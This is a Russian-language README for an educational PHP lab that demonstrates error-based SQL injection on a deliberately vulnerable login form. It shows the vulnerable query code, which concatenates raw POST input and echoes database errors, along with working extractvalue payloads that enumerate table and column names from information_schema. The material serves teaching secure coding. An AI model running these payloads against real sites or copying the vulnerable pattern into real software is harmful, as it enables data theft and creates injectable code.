Пример применения sql инъекций на PHP. Эта работа создана в образовательных целях и показывает программистам как не надо писать код. Данный сайт является примером эксплуатации уязвимости типа error-based. В основе примера обычная форма авторизации на сайте, состоящая из двух полей логина и пароля.
- Запущеный OpenServer или аналоги с PHP и MySQL
- GIT
- Browser или Postman
- Сохранить репозиторий на своём ПК
git clone https://github.com/chartyom/sql-injection-example-php.git
- Сформировать базу данных открыв в браузере
/init_db.php
- Открыть основной файл
/index.php
Как выглядит уязвимый код на PHP
$login = $_POST['login'];
$password = $_POST['password'];
$sql = "SELECT id FROM users WHERE login = '$login' and password = '$password'";
if ($result = mysqli_query($link, $sql)) {
if (mysqli_num_rows($result)) {
$authenticated = true;
} else {
$error_message = 'Не правильные логин или пароль';
}
} else {
$error_message = mysqli_error($link);
}
- Пробуем авторизоваться, подставив в любое поле кaвычку (‘), в результате чего получаем ошибку.
В результате получаем такой конечный вид запроса к базе данных, который вызывает ошибку:
SELECT id FROM users WHERE login = ''' and password = '';
- Получаем название первой таблицы из текущей базы данных:
' and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) -- comment
для получения второй и последующих названий таблиц необходимо поменять limit 0,1
на limit 1,1
и тд.
- Далее, зная название существующих таблиц в базе данных, требуется найти названия атрибутов:
' and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name='название таблицы' limit 0,1))) -- comment
для получения второго и последующих названий атрибутов необходимо поменять limit 0,1
на limit 1,1
и тд.
- Конечная цель получить текущий баланс баллов пользователя.
The MIT License (MIT). Please see License File for more information.